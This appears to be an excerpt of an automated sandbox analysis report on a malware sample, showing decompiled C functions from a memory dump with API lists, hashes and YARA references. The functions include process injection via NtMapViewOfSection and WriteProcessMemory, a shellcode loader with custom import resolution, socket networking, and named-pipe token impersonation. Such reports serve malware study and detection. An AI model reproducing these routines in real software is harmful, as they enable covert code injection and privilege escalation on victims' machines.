GetLastError.KERNEL32 ref: 0086770D
CloseHandle.KERNEL32(00000000), ref: 0086771E
GetCurrentProcess.KERNEL32(00000000,00000000,?,00000000,00000001,00000003), ref: 00867746
DuplicateHandle.KERNEL32(00000000), ref: 0086774D
GetCurrentProcess.KERNEL32(00000000,?,?,00000000,00000001,00000003), ref: 00867778
DuplicateHandle.KERNEL32(00000000), ref: 0086777B
GetCurrentProcess.KERNEL32(?,?,?,00000000,00000001,00000003), ref: 00867794
DuplicateHandle.KERNEL32(00000000), ref: 00867797

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: HandleProcess$CurrentDuplicate$ErrorLast$AttributeCloseOpenProcThreadUpdate
String ID:
API String ID: 2151055714-0
Opcode ID: 840f907e9568c8ea3d7b8d23724d15946214b1c61792a0d33323035da9ccc888
Instruction ID: 49401002d26013add0863e962be0a6fc118f68f689e6b3811d3ddb3c68e74760
Opcode Fuzzy Hash: 840f907e9568c8ea3d7b8d23724d15946214b1c61792a0d33323035da9ccc888
Instruction Fuzzy Hash: 79318D75648214BFEB219FA5DC8DF6B3BADFB85758F210404FA01DA280D671D901CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00865053, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 85
filelibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E00865053(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, long _a12) {
				char _v8;
				char _v12;
				_Unknown_base(*)()* _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				_Unknown_base(*)()* _t16;
				void* _t31;
				void* _t35;
				void* _t36;
				long _t37;
				void* _t38;

				_t35 = 0x2d;
				_v8 = 0;
				_v12 = 0;
				_t37 = E00869F64(_t35);
				if(_a12 > _t37) {
					_t37 = _a12;
				}
				_t16 = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtMapViewOfSection");
				_v16 = _t16;
				if(_t16 != 0) {
					_t31 = CreateFileMappingA(0xffffffff, 0, 0x40, 0, _t37, 0);
					if(_t31 != 0xffffffff) {
						_t38 = MapViewOfFile(_t31, 0xf001f, 0, 0, 0);
						if(_t38 != 0) {
							E0087B0A0(_t31, _t38, 0, _t38, _a8, _a12);
							_t36 = 0x2c;
							_v16(_t31, _a4,  &_v8, 0, 0, 0,  &_v12, 1, 0, E00869F52(_t36) & 0x0000ffff);
							UnmapViewOfFile(_t38);
						}
						CloseHandle(_t31);
					}
					if(_v8 == 0) {
						E00861E97(0x49, GetLastError());
					}
					return _v8;
				} else {
					return 0;
				}
			}

0x00865060
0x00865061
0x00865064
0x0086506c
0x00865071
0x00865073
0x00865073
0x00865087
0x0086508d
0x00865092
0x008650a9
0x008650ae
0x008650bf
0x008650c3
0x008650cc
0x008650d6
0x008650f2
0x008650f6
0x008650f6
0x008650fd
0x008650fd
0x00865106
0x00865111
0x00865117
0x00000000
0x00865094
0x00000000
0x00865094

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,NtMapViewOfSection,00000000,?,?,?,00864D09,00000000,00000000), ref: 00865080
GetProcAddress.KERNEL32(00000000), ref: 00865087
CreateFileMappingA.KERNEL32 ref: 008650A3
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,?,00864D09,00000000,00000000), ref: 008650B9
UnmapViewOfFile.KERNEL32(00000000,?,?,?,?,00864D09,00000000,00000000), ref: 008650F6
CloseHandle.KERNEL32(00000000,?,?,00864D09,00000000,00000000), ref: 008650FD
GetLastError.KERNEL32(?,?,00864D09,00000000,00000000), ref: 00865108

Strings

NtMapViewOfSection, xrefs: 00865076
ntdll.dll, xrefs: 0086507B

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: File$HandleView$AddressCloseCreateErrorLastMappingModuleProcUnmap
String ID: NtMapViewOfSection$ntdll.dll
API String ID: 2680503992-3170647572
Opcode ID: 22c81678d75aa2220496ee5e782be949a09bc15ac005fec27de0545333a5f0ae
Instruction ID: 5709dc2b7525c8aed1616b492b947cd99d9121e8ff71653066fd88d4e05425b5
Opcode Fuzzy Hash: 22c81678d75aa2220496ee5e782be949a09bc15ac005fec27de0545333a5f0ae
Instruction Fuzzy Hash: A0218076500628BBDB206FA99C4DDAF3F7CFF49760F214511F629D2192DA308900DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00866C36, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 59
networksleepCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00866C36(void* __edi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v272;
				char _v276;
				intOrPtr _v536;
				char _v540;
				long _t20;
				intOrPtr _t21;
				void* _t26;
				void* _t29;

				_t29 = __edi;
				_t26 = GetTickCount() + 0x7530;
				_v12 = _v12 & 0x00000000;
				_v8 = 0x64;
				while(1) {
					_t20 = GetTickCount();
					if(_t20 >= _t26) {
						break;
					}
					_t21 =  *((intOrPtr*)(_t29 + 0x1c));
					_v536 = _t21;
					_v272 = _t21;
					_v540 = 1;
					_v276 = 1;
					__imp__#18(0, 0,  &_v540,  &_v276,  &_v12);
					_t20 =  &_v276;
					_push(_t20);
					_push( *((intOrPtr*)(_t29 + 0x1c)));
					L0088331C();
					if(_t20 == 0) {
						_t20 =  &_v540;
						_push(_t20);
						_push( *((intOrPtr*)(_t29 + 0x1c)));
						L0088331C();
						if(_t20 == 0) {
							continue;
						} else {
							_push(0);
							_push(_a8);
							_push(_a4);
							_push( *((intOrPtr*)(_t29 + 0x1c)));
							L008832FE();
							if(_t20 == 0xffffffff) {
								__imp__#111();
								if(_t20 == 0x2733) {
									Sleep(0x3e8);
									continue;
								}
							}
						}
					}
					break;
				}
				return _t20;
			}

0x00866c36
0x00866c4b
0x00866c51
0x00866c55
0x00866cee
0x00866cee
0x00866cf2
0x00000000
0x00000000
0x00866c61
0x00866c64
0x00866c6a
0x00866c89
0x00866c8f
0x00866c95
0x00866c9b
0x00866ca1
0x00866ca2
0x00866ca5
0x00866cac
0x00866cae
0x00866cb4
0x00866cb5
0x00866cb8
0x00866cbf
0x00000000
0x00866cc1
0x00866cc1
0x00866cc3
0x00866cc6
0x00866cc9
0x00866ccc
0x00866cd4
0x00866cd6
0x00866ce1
0x00866ce8
0x00000000
0x00866ce8
0x00866ce1
0x00866cd4
0x00866cbf
0x00000000
0x00866cac
0x00866cfb

APIs

GetTickCount.KERNEL32 ref: 00866C47
select.WS2_32(00000000,00000000,?,?,00000000), ref: 00866C95
__WSAFDIsSet.WS2_32(00000000,?), ref: 00866CA5
__WSAFDIsSet.WS2_32(00000000,?), ref: 00866CB8
send.WS2_32(00000000,00000000,?,00000000), ref: 00866CCC
WSAGetLastError.WS2_32(00000000,?,00000000,?,?,00000000), ref: 00866CD6
Sleep.KERNEL32(000003E8,?,00000000), ref: 00866CE8
GetTickCount.KERNEL32 ref: 00866CEE

Strings

d, xrefs: 00866C55

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: CountTick$ErrorLastSleepselectsend
String ID: d
API String ID: 2152284305-2564639436
Opcode ID: 51323f504325a5f7cd514cdbeb0a439450a6bd8ca2addc51a015d5cfb96cf489
Instruction ID: f1ce48680689d45182572dd307a27f87a16b7e77fe5daa9e1966d8bb33fa21de
Opcode Fuzzy Hash: 51323f504325a5f7cd514cdbeb0a439450a6bd8ca2addc51a015d5cfb96cf489
Instruction Fuzzy Hash: 7411827194061CABDB219F68EC85BDD77B8FF04310F1042A6E615D2190EB70DE919F90

Uniqueness

Uniqueness Score: -1.00%

Function 008619B4, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 197
memoryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E008619B4(long __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v40;
				intOrPtr _v44;
				void* _v48;
				intOrPtr _v52;
				void* _v56;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t64;
				void* _t67;
				void* _t71;
				signed int _t72;
				struct HINSTANCE__* _t80;
				void* _t83;
				void* _t84;
				intOrPtr* _t90;
				void* _t92;
				intOrPtr _t93;
				void* _t94;
				long _t119;
				void* _t121;
				void* _t122;
				void* _t123;
				CHAR* _t124;
				void* _t127;
				CHAR* _t128;
				intOrPtr* _t139;

				_t119 = __edx;
				_v12 = E00874855(_t92, __edx, _t121, 0xfc);
				E0086187A(_t49);
				E008667D0( &_v40, _a4, _a8);
				_v16 = E008667E9( &_v40);
				_v24 = E0086687F( &_v40);
				_v20 = _t119;
				_v48 = E0086687F( &_v40);
				_v44 = _t119;
				_v56 = E0086687F( &_v40);
				_v52 = _t119;
				_t127 = E0086687F( &_v40);
				_t93 = _t119;
				_t64 = E0086687F( &_v40);
				_v28 = _t119;
				_t120 = 0x2b;
				_v32 = _t64;
				_t67 = VirtualAlloc(0, _v20, 0x3000, E00869F52(_t120) & 0x0000ffff);
				_t122 = _t67;
				_v8 = _t122;
				if(_t122 != 0) {
					E008667D0( &_v72, _t127, _t93);
					_t71 = E00866857( &_v72, 0xc);
					while(1) {
						_t94 = _t71;
						_t72 =  *(_t94 + 2) & 0x0000ffff;
						_t137 = _t72 - 0x404;
						if(_t72 == 0x404) {
							break;
						}
						__eflags = _t72 - 0x400;
						if(_t72 != 0x400) {
							__eflags = _t72 - 0x401;
							if(_t72 != 0x401) {
								__eflags = _t72 - 0x402;
								if(_t72 != 0x402) {
									__eflags = _t72 - 0x403;
									if(__eflags != 0) {
										_t123 = _v12 + _t72 * 4;
									} else {
										_t128 = E0086693F(__eflags,  &_v72);
										_t124 = E0086693F(__eflags,  &_v72);
										_t80 = GetModuleHandleA(_t128);
										__eflags = _t80;
										if(_t80 == 0) {
											_t80 = LoadLibraryA(_t128);
										}
										__eflags = GetProcAddress(_t80, _t124);
										if(__eflags == 0) {
											_push(_t124);
											return E00861F0A(_t94, __eflags, 0x4c, "%s!%s", _t128);
										}
										_t120 = _v12;
										_t83 = E00861843(_v12, _t81);
										__eflags = _t83;
										if(_t83 == 0) {
											_t84 = E00861EF5(0x4e);
											L24:
											return _t84;
										}
										_t123 = _t83;
									}
									_push(_v8);
									_t127 = 0;
									__eflags = 0;
								} else {
									_t127 =  *((intOrPtr*)(_t94 + 8));
									_push(_t123);
								}
							} else {
								_t127 =  *((intOrPtr*)(_t94 + 8));
								_push(_t123);
								_t123 = _v56;
							}
						} else {
							_t127 =  *((intOrPtr*)(_t94 + 8));
							_push(_t123);
							_t123 = _v48;
						}
						_t67 = E00861967(_t94, _t123, _t127);
						__eflags = _t67;
						if(_t67 != 0) {
							_t71 = E00866857( &_v72, 0xc);
							_t123 = _v8;
							continue;
						}
						goto L25;
					}
					E0087B0A0(_t94, _t123, _t127, _t123, _v24, _v20);
					E0087C290(_t123, _v24, 0, _v20);
					if(E0086527C(0x404, _t137, _t123, _v20) != 0) {
						_t90 = _v16 + _t123;
						_t139 = _t90;
						 *_t90(_v32, _v28);
					}
					VirtualFree(_t123, 0, 0x8000);
					_push(_v12);
					_t84 = E00874778(_t94, _t120, _t123, _t127, _t139);
					goto L24;
				}
				L25:
				return _t67;
			}

0x008619b4
0x008619ca
0x008619cd
0x008619dc
0x008619ed
0x008619fa
0x00861a02
0x00861a0a
0x00861a12
0x00861a1a
0x00861a22
0x00861a2a
0x00861a31
0x00861a33
0x00861a39
0x00861a3e
0x00861a3f
0x00861a55
0x00861a5b
0x00861a5d
0x00861a62
0x00861a6e
0x00861a7c
0x00861b46
0x00861b46
0x00861b48
0x00861b53
0x00861b56
0x00000000
0x00000000
0x00861a8b
0x00861a8e
0x00861aa1
0x00861aa4
0x00861ab4
0x00861ab7
0x00861ac4
0x00861ac7
0x00861b1d
0x00861ac9
0x00861ad2
0x00861ae0
0x00861ae2
0x00861ae8
0x00861aea
0x00861aed
0x00861aed
0x00861afb
0x00861afd
0x00861bb1
0x00000000
0x00861bbf
0x00861b03
0x00861b08
0x00861b0d
0x00861b0f
0x00861bc6
0x00861bcb
0x00000000
0x00861bcb
0x00861b15
0x00861b15
0x00861b20
0x00861b23
0x00861b23
0x00861ab9
0x00861ab9
0x00861abc
0x00861abc
0x00861aa6
0x00861aa6
0x00861aa9
0x00861aaa
0x00861aaa
0x00861a90
0x00861a90
0x00861a93
0x00861a94
0x00861a94
0x00861b2a
0x00861b30
0x00861b32
0x00861b3e
0x00861b43
0x00000000
0x00861b43
0x00000000
0x00861b32
0x00861b63
0x00861b73
0x00861b88
0x00861b93
0x00861b93
0x00861b95
0x00861b98
0x00861ba1
0x00861ba7
0x00861baa
0x00000000
0x00861baa
0x00861bd0
0x00861bd0

APIs

_malloc.LIBCMT ref: 008619C2

Part of subcall function 00874855: __FF_MSGBANNER.LIBCMT ref: 00874878
Part of subcall function 00874855: __NMSG_WRITE.LIBCMT ref: 0087487F
Part of subcall function 00874855: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3), ref: 008748CC

Part of subcall function 0086187A: _memset.LIBCMT ref: 00861882

VirtualAlloc.KERNEL32(00000000,?,00003000,?,?,?,00000000), ref: 00861A55
_memset.LIBCMT ref: 00861B73
VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00861BA1

Part of subcall function 00861F0A: _vswprintf_s.LIBCMT ref: 00861F26

Strings

%s!%s, xrefs: 00861BB3

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Virtual_memset$AllocAllocateFreeHeap_malloc_vswprintf_s
String ID: %s!%s
API String ID: 3140295852-2935588013
Opcode ID: d471ba794700fddf39feda44b025db0782172268843d134143df54cbf9ea0e57
Instruction ID: f1872010afcad592bb475ed80a6118e830e22f790d9eeaedb9cffd9b000ceb3f
Opcode Fuzzy Hash: d471ba794700fddf39feda44b025db0782172268843d134143df54cbf9ea0e57
Instruction Fuzzy Hash: 45518676D00109ABDF14EBE8D846AEE77B9FF44324F264426F605F7182EA34DE018761

Uniqueness

Uniqueness Score: -1.00%

Function 00863444, Relevance: 13.6, APIs: 9, Instructions: 115
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00863444(void* __ebx, void* __ecx, void** __esi, void* __eflags, intOrPtr _a4) {
				void* _v12;
				signed int _v14;
				void _v16;
				void _v20;
				long _v24;
				long _v28;
				struct _CONTEXT _v752;
				void* __edi;
				void* __ebp;
				int _t24;
				int _t28;
				int _t35;
				int _t38;
				int _t46;
				void* _t65;
				void* _t68;

				_v16 = 0;
				asm("stosd");
				asm("stosw");
				if(E00868492(__ecx,  *__esi) == 0) {
					_v752.ContextFlags = 0x10002;
					_t24 = GetThreadContext(__esi[1],  &_v752);
					__eflags = _t24;
					if(_t24 != 0) {
						_t28 = ReadProcessMemory( *__esi, _v752.Ebx + 0x10,  &_v20, 4, 0);
						__eflags = _t28;
						if(_t28 == 0) {
							goto L5;
						}
						_t35 = ReadProcessMemory( *__esi, _v20 + 0x40,  &_v16, 8, 0);
						__eflags = _t35;
						if(_t35 == 0) {
							goto L5;
						}
						_t38 = VirtualProtectEx( *__esi, _v12, _v14 & 0x0000ffff, 4,  &_v28);
						__eflags = _t38;
						if(_t38 == 0) {
							goto L5;
						}
						_t68 = E00874855(__ebx, _t65, ReadProcessMemory, _v14 & 0x0000ffff);
						E0087C290(_t68, _t68, 0, _v14 & 0x0000ffff);
						_t46 = E00862886( *((intOrPtr*)(_a4 + 4)), _t68, (_v14 & 0x0000ffff) >> 1);
						__eflags = _t46;
						if(_t46 != 0) {
							__eflags = WriteProcessMemory( *__esi, _v12, _t68, _v14 & 0x0000ffff,  &_v24);
							if(__eflags != 0) {
								__eflags = 1;
								return 1;
							}
							E00861E97(0x41, GetLastError());
							_push(_t68);
							E00874778(__ebx, _t65, _t68, __esi, __eflags);
							L3:
							return 0;
						}
						E00861EF5(0x42);
						_push(_t68);
						E00874778(__ebx, _t65, _t68, __esi, __eflags);
						L2:
						goto L3;
					}
					L5:
					E00861E97(0x41, GetLastError());
					goto L2;
				}
				E00861EF5(0x40);
				goto L2;
			}

0x00863452
0x00863459
0x0086345a
0x00863464
0x0086347f
0x00863489
0x0086348f
0x00863491
0x008634be
0x008634c0
0x008634c2
0x00000000
0x00000000
0x008634d5
0x008634d7
0x008634d9
0x00000000
0x00000000
0x008634eb
0x008634f1
0x008634f3
0x00000000
0x00000000
0x008634ff
0x0086350a
0x00863520
0x00863528
0x0086352a
0x00863554
0x00863556
0x00863576
0x00000000
0x00863576
0x00863561
0x00863566
0x00863567
0x0086346e
0x00000000
0x0086346e
0x0086352e
0x00863534
0x00863535
0x0086346d
0x00000000
0x0086346d
0x00863493
0x0086349c
0x00000000
0x008634a1
0x00863468
0x00000000

APIs

Part of subcall function 00868492: GetCurrentProcess.KERNEL32(?,00863461,55FF50D4,008674D7), ref: 0086849E

GetThreadContext.KERNEL32(?,?,008674D7), ref: 00863489
GetLastError.KERNEL32 ref: 00863493
ReadProcessMemory.KERNEL32(55FF50D4,?,?,00000004,00000000), ref: 008634BE
ReadProcessMemory.KERNEL32(55FF50D4,?,?,00000008,00000000), ref: 008634D5
VirtualProtectEx.KERNEL32(55FF50D4,006A0875,?,00000004,?), ref: 008634EB
_malloc.LIBCMT ref: 008634FA
_memset.LIBCMT ref: 0086350A
WriteProcessMemory.KERNEL32(55FF50D4,006A0875,00000000,?,00863959), ref: 0086354E
GetLastError.KERNEL32 ref: 00863558

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Process$Memory$ErrorLastRead$ContextCurrentProtectThreadVirtualWrite_malloc_memset
String ID:
API String ID: 2783323278-0
Opcode ID: 6e1676df2460c5e1e1340d2050f4e083ca382f0f76c3fa3fd4eb242f9757ae57
Instruction ID: ca99eb48153d61d49dfa52dfd71bf0b77630df8df4876244da1d1fc65c561be4
Opcode Fuzzy Hash: 6e1676df2460c5e1e1340d2050f4e083ca382f0f76c3fa3fd4eb242f9757ae57
Instruction Fuzzy Hash: 36319272500109BEEB119BA8DC0AFBEB7BCFF05740F214064FA45E6191EB35DA41DB2A

Uniqueness

Uniqueness Score: -1.00%

Function 00866B2B, Relevance: 13.6, APIs: 9, Instructions: 101
networkCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00866B2B(void* __eax, intOrPtr* __ecx) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				signed int _v20;
				char _v32;
				short _v34;
				char _v36;
				char _v1060;
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t20;
				signed short _t21;
				void* _t26;
				char* _t27;
				short _t31;
				char* _t32;
				char* _t35;
				signed int _t44;
				signed int _t45;
				signed short* _t47;
				signed short* _t49;
				void* _t50;
				void* _t51;
				void* _t52;
				void* _t53;

				_t20 =  *__ecx;
				_push(_t20);
				_v12 = 1;
				_t47 = __ecx + 4;
				_v8 = _t20;
				L008832F2();
				_v16 = _t20;
				_t21 =  *_t47 & 0x0000ffff;
				_push(_t21);
				_t49 =  &(_t47[1]);
				_t44 = __eax - 6;
				L00883316();
				_v20 = _t21 & 0x0000ffff;
				if(_t44 >= 0x3ff) {
					_t44 = 0x3ff;
				}
				E0087B0A0(1, _t44, _t49,  &_v1060, _t49, _t44);
				_t53 = _t52 + 0xc;
				 *((char*)(_t51 + _t44 - 0x420)) = 0;
				_t26 = E008625A5();
				_push(0);
				_push(1);
				_push(2);
				L0088330A();
				_t50 = _t26;
				_t45 = _t44 | 0xffffffff;
				if(_t50 != _t45) {
					_t27 =  &_v1060;
					_push(_t27);
					L008832F8();
					if(_t27 != 0) {
						E0087B0A0(1, _t45, _t50,  &_v32,  *((intOrPtr*)( *((intOrPtr*)(_t27 + 0xc)))),  *((short*)(_t27 + 0xa)));
						_t53 = _t53 + 0xc;
						_t31 = 2;
						_v36 = _t31;
						L008832EC();
						_v34 = _t31;
						_t32 =  &_v12;
						__imp__#10(_t50, 0x8004667e, _t32, _v20);
						if(_t32 == _t45) {
							goto L6;
						}
						_push(0x10);
						_t35 =  &_v36;
						_push(_t35);
						_push(_t50);
						L00883310();
						if(_t35 != _t45) {
							L10:
							return E00866A2E(_t50);
						}
						__imp__#111();
						if(_t35 != 0x2733) {
							goto L6;
						}
						goto L10;
					}
					L6:
					_push(_t50);
					goto L4;
				} else {
					_push(_t45);
					L4:
					L00883304();
					return E008612CF(1,  &_v8, 4, 4);
				}
			}

0x00866b3b
0x00866b40
0x00866b41
0x00866b44
0x00866b47
0x00866b4a
0x00866b4f
0x00866b52
0x00866b56
0x00866b57
0x00866b58
0x00866b5b
0x00866b63
0x00866b6d
0x00866b6f
0x00866b6f
0x00866b7a
0x00866b7f
0x00866b82
0x00866b8a
0x00866b8f
0x00866b91
0x00866b92
0x00866b94
0x00866b99
0x00866b9b
0x00866ba0
0x00866bba
0x00866bc0
0x00866bc1
0x00866bc8
0x00866bdb
0x00866be0
0x00866be5
0x00866be9
0x00866bed
0x00866bf2
0x00866bf6
0x00866c00
0x00866c08
0x00000000
0x00000000
0x00866c0a
0x00866c0c
0x00866c0f
0x00866c10
0x00866c11
0x00866c18
0x00866c27
0x00000000
0x00866c30
0x00866c1a
0x00866c25
0x00000000
0x00000000
0x00000000
0x00866c25
0x00866bca
0x00866bca
0x00000000
0x00866ba2
0x00866ba2
0x00866ba3
0x00866ba3
0x00000000
0x00866bb5

APIs

htonl.WS2_32 ref: 00866B4A
htons.WS2_32(00000000), ref: 00866B5B
socket.WS2_32(00000002,00000001,00000000), ref: 00866B94
closesocket.WS2_32(00000000), ref: 00866BA3
gethostbyname.WS2_32(00000000), ref: 00866BC1
htons.WS2_32(?), ref: 00866BED
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 00866C00
connect.WS2_32(00000000,?,00000010), ref: 00866C11
WSAGetLastError.WS2_32(00000000,?,00000010), ref: 00866C1A

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: htons$ErrorLastclosesocketconnectgethostbynamehtonlioctlsocketsocket
String ID:
API String ID: 3339321253-0
Opcode ID: 3ac2ca067d53612345bddbbad05e1773ae98b62c0fedbfda873a156e72d4031a
Instruction ID: 0bb951ff16866b2560767cfbaf5928f0ac26e56d976bde7990f77f3d3c661f45
Opcode Fuzzy Hash: 3ac2ca067d53612345bddbbad05e1773ae98b62c0fedbfda873a156e72d4031a
Instruction Fuzzy Hash: C631E3B6D00158AADB21ABF89C46FBE77BCFF04724F150565FA44E7281FB348A048766

Uniqueness

Uniqueness Score: -1.00%

Function 0086535D, Relevance: 13.6, APIs: 9, Instructions: 98
memorythreadCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0086535D(void* __edi, void* __eflags, void* _a4, void* _a8, void* _a12) {
				void* _v8;
				struct _OSVERSIONINFOA _v156;
				void* _t25;
				void* _t29;
				void* _t41;
				signed int _t42;
				void* _t46;
				void* _t47;
				void** _t60;
				void* _t61;

				_t46 = __edi;
				E0087C290(__edi,  &(_v156.dwMajorVersion), 0, 0x90);
				_v156.dwOSVersionInfoSize = 0x94;
				if(GetVersionExA( &_v156) != 0) {
					if(_v156.dwMajorVersion != 5 || _v156.dwMinorVersion != 2) {
						_push(_t46);
						_t47 = VirtualAlloc(0, 0x4c, 0x3000, 0x40);
						_v8 = _t47;
						if(_t47 == 0) {
							L12:
							_t25 = 0;
						} else {
							_t41 = VirtualAlloc(0, 0x149, 0x3000, 0x40);
							if(_t41 == 0) {
								goto L12;
							} else {
								_t42 = 0x13;
								_push(0x4a);
								memcpy(_t47, 0x893020, _t42 << 2);
								_t29 = memcpy(_t41, 0x893070, 0 << 2);
								asm("movsb");
								_t10 = _t41 + 0x129; // 0x129
								_t60 = _t10;
								_t60[6] = _t60[6] & 0x00000000;
								 *_t60 = _t29;
								_t60[2] = _a8;
								_push(_t60);
								_push(_t41);
								_t60[4] = _a12;
								if(_v8() != 0) {
									_t61 = _t60[6];
									if(_t61 != 0) {
										ResumeThread(_t61);
										VirtualFree(_v8, 0, 0x4000);
										VirtualFree(_t41, 0, 0x4000);
										_t25 = 1;
									} else {
										_push(6);
										goto L11;
									}
								} else {
									_push(5);
									L11:
									SetLastError();
									goto L12;
								}
							}
						}
						return _t25;
					} else {
						SetLastError(5);
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x0086535d
0x00865374
0x00865383
0x00865395
0x008653a2
0x008653bf
0x008653ce
0x008653d0
0x008653d5
0x00865437
0x00865437
0x008653d7
0x008653e3
0x008653e7
0x00000000
0x008653e9
0x008653ee
0x008653ef
0x008653f6
0x00865400
0x00865402
0x00865403
0x00865403
0x00865409
0x0086540d
0x00865412
0x00865418
0x00865419
0x0086541a
0x00865422
0x00865428
0x0086542d
0x0086543c
0x00865453
0x00865459
0x0086545d
0x0086542f
0x0086542f
0x00000000
0x0086542f
0x00865424
0x00865424
0x00865431
0x00865431
0x00000000
0x00865431
0x00865422
0x008653e7
0x00865462
0x008653ad
0x008653af
0x00000000
0x008653af
0x00865397
0x00865397
0x0086539a
0x0086539a

APIs

_memset.LIBCMT ref: 00865374
GetVersionExA.KERNEL32(?), ref: 0086538D
SetLastError.KERNEL32(00000005), ref: 008653AF
VirtualAlloc.KERNEL32(00000000,0000004C,00003000,00000040,00000000,00000000,00000000), ref: 008653CC
VirtualAlloc.KERNEL32(00000000,00000149,00003000,00000040), ref: 008653E1
SetLastError.KERNEL32(00000006), ref: 00865431
ResumeThread.KERNEL32(?), ref: 0086543C
VirtualFree.KERNEL32(00864D09,00000000,00004000), ref: 00865453
VirtualFree.KERNEL32(00000000,00000000,00004000), ref: 00865459

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Virtual$AllocErrorFreeLast$ResumeThreadVersion_memset
String ID:
API String ID: 3980149099-0
Opcode ID: 1a4c9d037d3c1c0bea878a2e8d05dc67d2eb3671a0bb6c3d47d52b995df69518
Instruction ID: 2d5df8c731fc6ce017610c98ce1a206a716a539840ed96a3fcf613e6d7c4c110
Opcode Fuzzy Hash: 1a4c9d037d3c1c0bea878a2e8d05dc67d2eb3671a0bb6c3d47d52b995df69518
Instruction Fuzzy Hash: 4131E571A00B18AFEB209F649C45F5B77B8FB15755F2100A4FB09EB281D6B0DD448B94

Uniqueness

Uniqueness Score: -1.00%

Function 00862F12, Relevance: 13.6, APIs: 9, Instructions: 58
pipethreadfileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00862F12(void* __eflags) {
				long _v8;
				char _v135;
				void _v136;
				void* _t12;
				void* _t16;

				_v136 = 0;
				E0087C290(_t16,  &_v135, 0, 0x7f);
				_v8 = 0;
				while(ConnectNamedPipe( *0x89201c, 0) == 0) {
					if(GetLastError() == 0x217) {
						break;
					}
				}
				_t12 = ReadFile( *0x89201c,  &_v136, 1,  &_v8, 0);
				if(_t12 != 0) {
					_t12 = ImpersonateNamedPipeClient( *0x89201c);
					if(_t12 != 0) {
						_t12 = OpenThreadToken(GetCurrentThread(), 0xf01ff, 0, 0x89306c);
						if(_t12 != 0) {
							_t12 =  *0x89201c;
							if(_t12 != 0) {
								DisconnectNamedPipe(_t12);
								_t12 = CloseHandle( *0x89201c);
							}
						}
					}
				}
				 *0x897e88 =  *0x897e88 - 1;
				return _t12;
			}

0x00862f29
0x00862f2f
0x00862f3d
0x00862f4f
0x00862f4d
0x00000000
0x00000000
0x00862f4d
0x00862f70
0x00862f78
0x00862f80
0x00862f88
0x00862f9c
0x00862fa4
0x00862fa6
0x00862fad
0x00862fb0
0x00862fbc
0x00862fbc
0x00862fad
0x00862fa4
0x00862f88
0x00862fc2
0x00862fcb

APIs

_memset.LIBCMT ref: 00862F2F
GetLastError.KERNEL32 ref: 00862F42
ConnectNamedPipe.KERNEL32(00000000), ref: 00862F56
ReadFile.KERNEL32(?,00000001,?,00000000), ref: 00862F70
ImpersonateNamedPipeClient.ADVAPI32 ref: 00862F80
GetCurrentThread.KERNEL32 ref: 00862F95
OpenThreadToken.ADVAPI32(00000000), ref: 00862F9C
DisconnectNamedPipe.KERNEL32(?), ref: 00862FB0
CloseHandle.KERNEL32 ref: 00862FBC

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: NamedPipe$Thread$ClientCloseConnectCurrentDisconnectErrorFileHandleImpersonateLastOpenReadToken_memset
String ID:
API String ID: 3848656792-0
Opcode ID: 66993df5572f301af0b54e0119cc5349875c6826df1bbc06293afaa94d36c66d
Instruction ID: e9f64035a4a67dee5df167c7c2397148d624d744a914ffbaead82b6d909436ab
Opcode Fuzzy Hash: 66993df5572f301af0b54e0119cc5349875c6826df1bbc06293afaa94d36c66d
Instruction Fuzzy Hash: A2113071748609EFDB20AFA8EC88A6A3B7CFB10744F2980A5F605E15A1DA71DD04DB71

Uniqueness

Uniqueness Score: -1.00%

Function 00863986, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 129
processCOMMON

Download Yara Rule

